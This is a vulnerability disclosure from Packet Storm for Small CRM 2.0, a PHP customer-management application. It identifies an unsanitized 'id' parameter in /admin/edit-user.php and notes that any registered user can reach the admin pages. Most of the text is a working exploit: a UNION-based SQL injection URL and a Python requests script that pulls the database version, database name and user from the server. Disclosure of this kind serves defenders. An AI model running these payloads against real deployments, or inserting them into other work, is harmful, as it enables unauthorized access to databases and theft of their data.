Small CRM 2.0 SQL Injection

Small CRM version 2.0 suffers from a remote SQL injection vulnerability. This version was first discovered to have a different SQL injection vulnerability in January of 2020 by FULLSHADE.


MD5 | e2a6100a69d47dc71b098300c3b27e42

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# Exploit Title: Small CRM in PHP - 'id' SQL Injection
# Date: 2020-07-05
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/small-crm-php/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10412
# Version: V2.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Any registered user can access admin pages - no proper ACL / session control

Vulnerable File:
---------------- 
/admin/edit-user.php 

Vulnerable Code:
-----------------
line 13:  $userid=$_GET['id'];

Vulnerable Issue:
-----------------
$userid=$_GET['id']; has no sanitization

POC:
----

[+] Need any registered user to be authenticated first.

http://localhost/crm/admin/edit-user.php?id=3'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL--+-

Python Code:
------------

import requests,re

url = "http://localhost:80/crm/admin/edit-user.php?id=3%27+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL--+-"

payload = ""
headers = {
    "Cookie": "PHPSESSID=3a3vmbd86fo50kl6qjd2t6ug76", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

pattern = "(?<=gh1mau).*?(?=gh1mau)"
response = requests.request("GET", url, data=payload, headers=headers)
version=re.findall(pattern,response.text)

print(version)

Source: packetstormsecurity.com
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